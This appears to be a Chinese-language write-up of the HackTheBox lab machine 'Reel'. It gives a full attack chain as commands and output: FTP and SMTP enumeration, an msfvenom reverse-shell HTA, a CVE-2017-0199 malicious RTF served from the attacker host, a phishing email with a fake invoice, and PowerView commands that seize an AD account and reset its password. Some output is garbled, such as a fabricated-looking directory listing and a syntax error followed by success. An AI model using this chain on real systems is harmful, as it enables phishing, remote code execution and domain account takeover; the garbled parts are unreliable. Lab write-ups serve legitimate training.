

# Reel

nmap 扫描结果如下所示：

```
(kali@kali)-[~/Desktop/HTB/Shared]
$ sudo nmap -sC -sV 10.10.10.77 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-19 11:17 EDT
Nmap scan report for 10.10.10.77
Host is up (0.56s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      Microsoft ftpd
22/tcp    open  ssh      OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
|   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
|   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp    open  smtp?
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     220 Mail Service ready
|       sequence of commands
|       sequence of commands
|   Hello:
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help:
|     220 Mail Service ready
|     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|     NULL, RCPCheck:
|_  220 Mail Service ready
smtp-command: REEL, SIZE 204800000, AUTH LOGIN PLAIN, HELP
211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
_
SF:Port25-TCP:V=7.92X1=7X0=9/19XTime=6328882EXP=x86_64-pc-linux-gnuXr=NULL
SF:18,"220\x20Mail\x20Service\x20ready\r\n"%Xr(Hello,3A,"220\x20Mail\x20S
SF:Service\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n"%X
SF:r:(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EH
SF:LO\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n"
SF:Xr(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s
SF:sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:n"%Xr(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20
SF:sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\
SF:r\r\n"%Xr(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x
SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command
SF:s\r\n"%Xr(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad
SF:\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comma
SF:nds\r\n"%Xr(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.94 seconds
```

先看看ftp服务：

```
(kali@kali)-[~]
$ ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service.
Name (10.10.10.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||41000|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
ftp> dir
229 Entering Extended Passive Mode (|||41001|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||41002|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM 2047 AppLocker.docx
05-28-18 02:01PM 126 readme.txt
10-31-17 10:13PM 14581 Windows Event Forwarding.docx
226 Transfer complete.
ftp> get AppLocker.docx
local: AppLocker.docx remote: AppLocker.docx
229 Entering Extended Passive Mode (|||41003|)
125 Data connection already open; Transfer starting.
100% |*****| 2047 1.99 KiB/s 00:00 ETA
tp: Reading from network: Interrupted system call
0% |
226 Transfer complete.
WARNING! 9 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
ftp> get readme.txt
local: readme.txt remote: readme.txt
229 Entering Extended Passive Mode (|||41004|)
125 Data connection already open; Transfer starting.
100% |*****| 126 0.16 KiB/s 00:00 ETA
226 Transfer complete.
124 bytes received in 00:00 (0.12 KiB/s)
ftp> get Windows\ Event\ Forwarding.docx
local: Windows Event Forwarding.docx remote: Windows Event Forwarding.docx
229 Entering Extended Passive Mode (|||41006|)
125 Data connection already open; Transfer starting.
100% |*****| 14581 14.18 KiB/s 00:00 ETA
tp: Reading from network: Interrupted system call
0% |
226 Transfer complete.
WARNING! 51 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
ftp> exit
221 Goodbye.
```

下载三份文件，其中一份包含信息：

```

(kali㉿kali)-[~/Desktop/HTB/reel]
$ ls
AppLocker.docx  readme.txt  'Windows Event Forwarding.docx'

(kali㉿kali)-[~/Desktop/HTB/reel]
$ exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number      : 12.44
File Name                    : Windows Event Forwarding.docx
Directory                    : .
File Size                     : 15 kB
File Modification Date/Time   : 2022:09:21 09:54:42-04:00
File Access Date/Time        : 2022:09:21 09:56:19-04:00
File Inode Change Date/Time   : 2022:09:21 09:56:05-04:00
File Permissions              : -rw-r--r--
File Type                    : DOCX
File Type Extension          : docx
MIME Type                    : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version         : 20
Zip Bit Flag                  : 0x0006
Zip Compression               : Deflated
Zip Modify Date               : 1980:01:01 00:00:00
Zip CRC                       : 0x82872409
Zip Compressed Size           : 385
Zip Uncompressed Size        : 1422
Zip File Name                 : [Content_Types].xml
Creator                       : nico@megabank.com
Revision Number               : 4
Create Date                   : 2017:10:31 18:42:00Z
Modify Date                   : 2017:10:31 18:51:00Z
Template                      : Normal.dotm
Total Edit Time                : 5 minutes
Pages                         : 2
Words                         : 299
Characters                    : 1709
Application                   : Microsoft Office Word
Doc Security                   : None
Lines                         : 14
Paragraphs                    : 4
Scale Crop                    : No
Heading Pairs                  : Title, 1
Titles Of Parts                :
Company                       :
Links Up To Date               : No
Characters With Spaces         : 2004
Shared Doc                     : No
Hyperlinks Changed             : No
App Version                    : 14.0000

```

有了邮箱可以利用smtp服务：

```

(kali@kali)-[~/Desktop/HTB/reel]
$ telnet 10.10.10.77 25
Trying 10.10.10.77 ...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
HELO user
250 Hello.
MAIL FROM: <temp@qq.com>
250 OK
RCPT TO: <nico@megabank.com>
250 OK
^Cexit
quit
Connection closed by foreign host.

(kali@kali)-[~/Desktop/HTB/reel]
$ touch user.txt

(kali@kali)-[~/Desktop/HTB/reel]
$ gedit user.txt

(gedit:1039451): Gtk-WARNING **: 10:00:00.448: Calling org.xfce.Session.Manager.Inhibit failed: GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such method "Inhibit"

(kali@kali)-[~/Desktop/HTB/reel]
$ smtp-user-enum -M RCPT -U user.txt -t 10.10.10.77
Command 'smtp-user-enum' not found, but can be installed with:
sudo apt install smtp-user-enum
Do you want to install it? (N/y)y
sudo apt install smtp-user-enum
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libhttp-server-simple-perl libpython3.9-minimal libpython3.9-stdlib python3.9 python3.9-minimal
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  smtp-user-enum
0 upgraded, 1 newly installed, 0 to remove and 38 not upgraded.
Need to get 82.3 kB of archives.
After this operation, 100 kB of additional disk space will be used.
Get:1 http://mirror.aktkn.sg/kali kali-rolling/main amd64 smtp-user-enum all 1.2-1kali4 [82.3 kB]
Fetched 82.3 kB in 11s (7,826 B/s)
Selecting previously unselected package smtp-user-enum.
(Reading database ... 360017 files and directories currently installed.)
Preparing to unpack .../smtp-user-enum_1.2-1kali4_all.deb ...
Unpacking smtp-user-enum (1.2-1kali4) ...
Setting up smtp-user-enum (1.2-1kali4) ...
Processing triggers for kali-menu (2022.3.1) ...

(kali@kali)-[~/Desktop/HTB/reel]
$ smtp-user-enum -M RCPT -U user.txt -t 10.10.10.77
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

|----- Scan Information -----|

Mode ..... RCPT
Worker Processes ..... 5
Usernames file ..... user.txt
Target count ..... 1
Username count ..... 14
Target TCP port ..... 25
Query timeout ..... 5 secs
Target domain .....

##### Scan started at Wed Sep 21 10:00:54 2022 #####
10.10.10.77: reel@htb exists
10.10.10.77: reel@htb.local exists
10.10.10.77: administrator@htb exists
10.10.10.77: reel@reel.htb exists
10.10.10.77: admin@htb exists
10.10.10.77: root@htb exists
10.10.10.77: sadfasdfasdfasdf@htb exists
10.10.10.77: nico@megabank.com exists
10.10.10.77: htb@metabank.com exists
##### Scan completed at Wed Sep 21 10:01:07 2022 #####
9 results.

14 queries in 13 seconds (1.1 queries / sec)

```

可以遍历出邮箱名，根据另外两份文件的内容：

## AppLocker.docx

Just one line in this document, but something to keep in mind as I try to get code execution:

*AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.*

## readme.txt

This document is also short, but does give a hint as to the kinds of documents that will be read:

*please email me any rtf format procedures - I'll review and convert.*

*new format / converted documents will be saved here.*

使用RTF攻击：

```

kali@kali:~/Desktop/HTB/reel$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=4444 -fhta -o msfv.hta
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgori
tm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgori
tm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgori
tm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgori
tm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgori
tm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgori
tm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 7263 bytes
Saved as: msfv.hta

kali@kali:~/Desktop/HTB/reel$ ls
ApLocker.docx  msfv.hta  readme.txt  user.txt  'Windows Event Forwarding.docx'

kali@kali:~/Desktop/HTB/reel$ git clone https://github.com/bhndresh/CVE-2017-0199.git
Cloning into 'CVE-2017-0199'...
remote: Enumerating objects: 298, done.
remote: Total 298 (delta 0), reused 0 (delta 0), pack-reused 298
Receiving objects: 100% (298/298), 288.09 KiB | 1.19 MiB/s, done.
Resolving deltas: 100% (102/102), done.

kali@kali:~/Desktop/HTB/reel$ ls
ApLocker.docx  CVE-2017-0199  msfv.hta  readme.txt  user.txt  'Windows Event Forwarding.docx'

kali@kali:~/Desktop/HTB/reel$ cd CVE-2017-0199

kali@kali:~/Desktop/HTB/reel/CVE-2017-0199$ python3 cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.16.2/msfv.hta -t rtf -x 0
File "/home/kali/Desktop/HTB/reel/CVE-2017-0199/cve-2017-0199_toolkit.py", line 44
    print Usage: python "sys.argv[0]" -h
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

kali@kali:~/Desktop/HTB/reel/CVE-2017-0199$ python3 cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.16.2/msfv.hta -t rtf -x 0
Generating normal RTF payload.

Generated invoice.rtf successfully

kali@kali:~/Desktop/HTB/reel/CVE-2017-0199$ sendEmail -f temp@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v
Sep 21 10:30:05 kali sendEmail[1047362]: DEBUG => Connecting to 10.10.10.77:25
Sep 21 10:30:06 kali sendEmail[1047362]: DEBUG => My IP address is: 10.10.16.2
Sep 21 10:30:07 kali sendEmail[1047362]: SUCCESS => Received: 220 Mail Service ready
Sep 21 10:30:07 kali sendEmail[1047362]: INFO => Sending: EHLO kali
Sep 21 10:30:07 kali sendEmail[1047362]: SUCCESS => Received: 250-REEL, 250-SIZE 204800000, 250-AUTH LOGIN PLAIN, 250 HELP
Sep 21 10:30:07 kali sendEmail[1047362]: INFO => Sending: MAIL FROM:<temp@megabank.com>
Sep 21 10:30:08 kali sendEmail[1047362]: SUCCESS => Received: 250 OK
Sep 21 10:30:08 kali sendEmail[1047362]: INFO => Sending: RCPT TO:<nico@megabank.com>
Sep 21 10:30:08 kali sendEmail[1047362]: SUCCESS => Received: 250 OK
Sep 21 10:30:08 kali sendEmail[1047362]: INFO => Sending: DATA
Sep 21 10:30:09 kali sendEmail[1047362]: SUCCESS => Received: 354 OK, send.
Sep 21 10:30:09 kali sendEmail[1047362]: INFO => Sending message body
Sep 21 10:30:09 kali sendEmail[1047362]: Setting content-type: text/plain
Sep 21 10:30:09 kali sendEmail[1047362]: DEBUG => Sending the attachment [invoice.rtf]
Sep 21 10:30:22 kali sendEmail[1047362]: SUCCESS => Received: 250 Queued (12.984 seconds)
Sep 21 10:30:22 kali sendEmail[1047362]: Email was sent successfully! From: <temp@megabank.com> To: <nico@megabank.com> Subject: [Invoice Attached] Attachment(s): [invoice.rtf] Server: [10.10.10.77:25]

```



```

Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved.
Desktop/HTB/reel
tom@REEL C:\Users\tom>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
msfvenom.exe  msfvenom.ps1  msfvenom.py  msfvenom.vbs  msfvenom.wsf  msfvenom.xps  msfvenom.xml  msfvenom.yaml  msfvenom.yml  msfvenom.zip  msfvenom.zsh
Directory of C:\Users\tom
11/16/2017  11:35 PM    <DIR>          .
11/16/2017  11:35 PM    <DIR>          ..
10/28/2017  12:38 AM    <DIR>          [8-33-56]  Contacts
05/29/2018  08:57 PM    <DIR>          [10-33-56] Desktop
10/28/2017  12:38 AM    <DIR>          Documents
10/29/2017  10:08 PM    <DIR>          Downloads
10/28/2017  12:38 AM    <DIR>          Favorites
10/28/2017  12:38 AM    <DIR>          Links
10/28/2017  12:38 AM    <DIR>          Music
10/28/2017  12:38 AM    <DIR>          Pictures
10/28/2017  12:38 AM    <DIR>          Saved Games
10/28/2017  12:38 AM    <DIR>          Searches
10/28/2017  12:38 AM    <DIR>          Videos
               0 File(s)            0 bytes
              13 Dir(s)  15,770,951,680 bytes free

tom@REEL C:\Users\tom>cd desktop

tom@REEL C:\Users\tom\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1

Directory of C:\Users\tom\Desktop
05/29/2018  08:57 PM    <DIR>          .
05/29/2018  08:57 PM    <DIR>          ..
05/29/2018  09:02 PM    <DIR>          AD Audit
               0 File(s)            0 bytes
               3 Dir(s)  15,770,951,680 bytes free

tom@REEL C:\Users\tom\Desktop>cd "AD Audit"

tom@REEL C:\Users\tom\Desktop\AD Audit>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1

Directory of C:\Users\tom\Desktop\AD Audit
05/29/2018  09:02 PM    <DIR>          .
05/29/2018  09:02 PM    <DIR>          ..
05/30/2018  12:44 AM    <DIR>          BloodHound
05/29/2018  09:02 PM    <DIR>          182 note.txt
               1 File(s)          182 bytes
               3 Dir(s)  15,770,951,680 bytes free

tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
Findings:

Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).

Maybe we should re-run Cypher query against other groups we've created.
tom@REEL C:\Users\tom\Desktop\AD Audit>cd BloodHound

tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1

Directory of C:\Users\tom\Desktop\AD Audit\BloodHound
05/30/2018  12:44 AM    <DIR>          .
05/30/2018  12:44 AM    <DIR>          ..
05/29/2018  08:57 PM    <DIR>          Ingestors
10/30/2017  11:15 PM    <DIR>          769,587 PowerView.ps1
               1 File(s)        769,587 bytes
               3 Dir(s)  15,770,951,680 bytes free

tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>cd Ingestors

tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1

Directory of C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors
05/29/2018  08:57 PM    <DIR>          .
05/29/2018  08:57 PM    <DIR>          ..
11/17/2017  12:50 AM    <DIR>          112,225 acls.csv
10/28/2017  09:50 PM    <DIR>          3,549 BloodHound.bin
10/24/2017  04:27 PM    <DIR>          246,489 BloodHound_Old.ps1
10/24/2017  04:27 PM    <DIR>          568,832 SharpHound.exe
10/24/2017  04:27 PM    <DIR>          636,959 SharpHound.ps1
               5 File(s)        1,568,054 bytes
               2 Dir(s)  15,770,951,680 bytes free

```

下载acls.csv文件:



Object Name	Object Type	Object GUID	Principal Name	Principal Type	Active Directory Rights	AC Type	Access Control Type	Access Allowed	Inherited
Backup_Admins@HTB.LOCAL	GROUP		tom@HTB.LOCAL	USER	WriteOwner				FALSE
Object Name	Object Type	Object GUID	Principal Name	Principal Type	Active Directory Rights	AC Type	Access Control Type	Access Allowed	Inherited
Backup_Admins@HTB.LOCAL	GROUP		tom@HTB.LOCAL	USER	WriteOwner				FALSE

看来是要先获得claire的权限，再想办法提权：

```
PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -identity claire -OwnerIdentity tom
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPass
word
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -identity claire -accountpassword $cred
PS C:\Users\tom\Desktop\AD Audit\BloodHound> exit
```

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>exitConnection to 10.10.10.77 closed.
```

```
(kali@kali)-[~/Desktop/HTB/reel]
$ ssh claire@10.10.10.77
claire@10.10.10.77's password:
```

```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

claire@REEL C:\Users\claire>
```

成功登陆claire后，把tom添加到backup\_admins的组中，重新登陆使之生效：

```
claire@REEL C:\Users>net group backup_admins
```

```
Group name      Backup_Admins
```

```
Comment
```

```
Devices
```

```
Members
```

```
File System
```

---

```
Network
```

```
ranj
```

```
The command completed successfully.
```

```
claire@REEL C:\Users>net group backup_admins tom /add
```

```
The command completed successfully.
```

```
claire@REEL C:\Users>net group backup_admins
```

```
Group name      Backup_Admins
```

```
Comment
```

```
Members
```

---

```
ranj                      tom
```

```
The command completed successfully.
```

```
claire@REEL C:\Users>
```



